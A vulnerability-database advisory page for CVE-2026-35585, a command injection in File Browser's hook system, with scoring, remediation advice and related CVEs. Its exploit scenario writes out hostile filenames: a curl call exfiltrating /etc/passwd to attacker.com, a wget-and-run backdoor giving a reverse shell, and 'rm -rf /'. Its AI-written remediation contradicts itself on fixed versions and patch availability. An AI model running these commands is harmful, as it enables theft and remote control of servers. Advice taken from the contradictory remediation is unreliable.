Skip to main content

Filebrowser CVE-2026-35585

| EUVDEUVD-2026-19775 HIGH
OS Command Injection (CWE-78)
2026-04-07 GitHub_M GHSA-jvpw-637p-h3pw
7.5
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privileged user
  2. Exploit
    Upload file with shell metacharacters in filename
  3. Execution
    Administrator hook system executes unsanitized filename variable
  4. Impact
    Arbitrary OS commands execute with server privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

File Browser versions 2.0.0 through 2.63.1 with the hook system enabled (administrator-defined shell commands on file events). Attacker requires file write permission. Attacker uploads a file with malicious shell metacharacters in the filename to trigger command injection during hook execution.

Impact

Real-world risk is moderate despite the 7.5 CVSS score. The CVSS 4.0 vector indicates network-exploitable (AV:N) with low attack complexity (AC:L) but critically requires high privileges (PR:H), meaning successful exploitation demands existing administrative access or file write permissions within File Browser. The attack complexity threshold (AT:P) suggests specific conditions must be met, specifically that hooks must be actively configured by administrators - a non-default configuration in versions 2.33.8+. No public exploit identified at time of analysis and no CISA KEV listing indicates this is not confirmed actively exploited in the wild. The vulnerability's practical exploitability is constrained by two factors: first, hooks must be explicitly enabled and configured by administrators (disabled by default since v2.33.8); second, the attacker needs pre-existing authenticated access with file write capabilities. This makes it primarily an insider threat or privilege escalation vector rather than an initial access mechanism. Organizations running File Browser with hooks enabled and untrusted users having file write permissions face elevated risk. The SSVC framework would likely classify this as 'attend' priority rather than 'immediate' - important to patch during normal cycles but not an emergency requiring out-of-band updates for most deployments. Contrast with unauthenticated RCE vulnerabilities which warrant immediate response; this requires prior compromise or malicious insider positioning.

Exploit ScenarioDerived

An attacker with legitimate File Browser credentials and file write permissions creates a malicious file named 'reportcurl attacker.com/exfil?data=$(cat /etc/passwd).pdf' and uploads it to a directory monitored by an administrator-configured hook. When the upload event triggers the hook command template that includes the $FILE variable, the unsanitized filename is expanded directly into the shell command, causing the server to execute the embedded curl command that exfiltrates /etc/passwd contents to the attacker's server. The attacker could similarly achieve persistence by injecting commands like 'document;wget attacker.com/backdoor.sh -O /tmp/bd.sh && chmod +x /tmp/bd.sh && /tmp/bd.sh;.txt' which downloads and executes a reverse shell when the hook processes the rename or delete event.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 07, 2026

Remote code execution in File Browser versions 2.0.0 through 2.63.1 allows authenticated administrators to execute arbitrary OS commands via malicious filenames. The vulnerability stems from unsanitized variable substitution in the hook system, which processes file events (upload, rename, delete) using administrator-defined shell commands. Attackers with file write permissions can inject shell metacharacters into filenames that trigger command execution when hooks fire. No public exploit identified at time of analysis, though EPSS data not provided. The vulnerable feature has been disabled by default from v2.33.8 onwards as a mitigation measure.

RemediationAI

Organizations should immediately upgrade File Browser to version 2.33.8 or later where the vulnerable hooks feature is disabled by default, though the exact fully-patched version eliminating the underlying code vulnerability is not independently confirmed from available data. After upgrading to v2.33.8+, administrators must manually review hook configurations and either disable hooks entirely or implement strict filename validation at the application layer before files reach the hook system. If upgrading is not immediately feasible, implement these compensatory controls: disable all hooks in the File Browser configuration file, restrict file write permissions to only highly trusted users, implement filesystem-level filename character whitelisting to block shell metacharacters (backticks, semicolons, pipes, dollar signs), and monitor system logs for suspicious command execution patterns. For administrators who require hooks functionality, consider sandboxing the File Browser process using containerization with restricted capabilities, AppArmor, or SELinux policies that prevent shell command execution. Review the official vendor advisory at https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw for additional mitigation guidance and subscribe to the project's security notifications for future updates.

Affected VersionsENISA

filebrowser 2.0.0-rc.1, ≤ 2.63.1

Affected Packages

go github.com/filebrowser/filebrowser no fix
go github.com/filebrowser/filebrowser/v2 fix: 2.33.8
euvd filebrowser_2_0_0_rc_1 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

File Browser is a web-based file management application written in Go that provides a hook system for automating administrative tasks. The hook system executes shell commands triggered by file events (upload, rename, delete, copy) and performs variable substitution using Go's os.Expand function to inject contextual values like $FILE, $USERNAME, and $DESTINATION into administrator-defined command templates. The vulnerability (CWE-78: OS Command Injection) occurs because os.Expand performs simple string replacement without sanitizing special shell metacharacters (backticks, semicolons, pipe operators, command substitution syntax). When a user with file write permission creates a file with a malicious name like 'innocent.txtwhoami.jpg' or 'file;rm -rf /', these metacharacters are directly interpolated into the hook command string and executed by the underlying shell. The affected product identified by CPE cpe:2.3:a:filebrowser:filebrowser applies to all File Browser installations from version 2.0.0 through 2.63.1. The CVSS vector indicates network-based attack (AV:N) with low complexity (AC:L) but requires high privileges (PR:H), meaning the attacker must already have administrative or privileged file write access to the File Browser instance.

Know when Filebrowser gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionGitHub Advisory

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 through 2.63.1, the hook system in File Browser - which executes administrator-defined shell commands on file events such as upload, rename, and delete - is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.

Executive ViewAI

Why It Matters

File Browser versions 2.0.0 through 2.63.1 contain a remote code execution vulnerability that allows authenticated administrators to execute arbitrary operating system commands through malicious filenames, potentially compromising server integrity and data confidentiality. Organizations using File Browser should immediately audit administrator accounts and file upload permissions, as the vulnerability requires administrator authentication but no patch is currently available from the vendor.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable the hook/shell command feature entirely in File Browser administrative configuration; (2) Restrict file write permissions to authenticated users with minimal privileges and audit administrative accounts for compromise; (3) Implement input validation and filename sanitization at the application layer if custom hooks must remain enabled; (4) Deploy file integrity monitoring on the File Browser server to detect unauthorized command execution; (5) Isolate File Browser instances using network segmentation and monitor process execution logs for anomalous administrator-initiated commands.

Threat Intelligence Overview

EPSS Score
0.8%
Top 26% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-29188 CRITICAL POC
9.1 Mar 05

Unauthorized file operations in File Browser before fix. PoC and patch available.

CVE-2023-39612 CRITICAL POC
9.0 Sep 16

A cross-site scripting (XSS) vulnerability in FileBrowser before v2.23.0 allows an authenticated attacker to escalate pr

CVE-2026-116682 HIGH POC
8.6 Oct 27

Symlink-following read paths in FileBrowser Quantum serve files from outside a user's assigned scope: download, preview,

CVE-2026-73612 HIGH POC
8.6 Aug 13

Recursive operation authorization bypass in File Browser before v2.63.22 permits any authenticated user to copy, rename,

CVE-2026-25890 HIGH POC
8.1 Feb 09

Path normalization bypass in Filebrowser prior to 2.57.1 allows authenticated users to circumvent file access restrictio

CVE-2025-52903 HIGH POC
8.0 Jun 26

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ

CVE-2025-52904 HIGH POC
8.0 Jun 26

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ

CVE-2025-52995 HIGH POC
8.0 Jun 30

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ

CVE-2026-54910 HIGH POC
7.7 Jul 20

Arbitrary file read in FileBrowser Quantum (gtsteffaniak/filebrowser) before 1.4.3-beta lets any authenticated user, reg

CVE-2026-73611 HIGH POC
7.6 Aug 13

File Browser versions 2.50.0 through 2.63.21 permit indefinite session persistence via expired JWT tokens when proxy aut

CVE-2025-52902 HIGH POC
7.6 Jun 26

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, previ

CVE-2026-73613 HIGH POC
7.2 Aug 13

Arbitrary file deletion in filebrowser before 2.63.19 allows authenticated users holding only Create permission to delet

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy